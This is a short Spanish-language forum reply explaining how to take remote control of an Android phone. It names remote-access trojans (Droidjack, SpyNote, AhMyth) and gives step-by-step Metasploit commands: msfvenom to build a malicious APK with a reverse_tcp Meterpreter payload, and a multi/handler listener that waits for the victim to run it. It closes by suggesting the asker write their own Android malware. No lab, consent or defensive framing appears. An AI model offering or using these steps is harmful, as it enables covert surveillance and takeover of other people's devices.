@selohuSi lo que quieres es tener el control remoto de android desde otro dispositivo puedes usar una aplicacion/programa para esto.
Puedes usar una herramienta de administracion remota o puedes usar metasploit framework.
Herramientas de administración remota: Droidjack, SpyNote, Ahmyth, entre otros.
Puedes usar estos programas facilmente desde una interfaz GUI.
Metasploit framework: Hay miles de guias de como acceder a un dispositivo con Sistema operativo Android desde metasploit.
Tendras que apredenderte los comandos (por lo menos los escenciales) para usarlo.
Mini-guia de metasploit framework:
Para generar un .APK malicioso usamos msfvenom:
msfvenom -p android/meterpreter/reverse_tcp LHOST=<tu direccion ip o nombre del host> LPORT=<puerto a conectar> -o <nombre del apk>
Abrimos metasploit y esperamos que cargue:
msfconsole
una vez en la consola de metasploit:
use exploit/multi/handler
set payload android/meterpreter/reverse_tcp
set lhost <la ip/host que usastes para generar la carga util>
set lport <el puerto que se pondra en escucha de una conexion>
exploit
esperas a que se ejecute el .apk malicioso y tendras una sesion de meterpreter.
Nota: tendras que ver otra guia de como usar meterpreter.
O
En vez de hacer todo aprende programacion y crea un malware para controlar un android.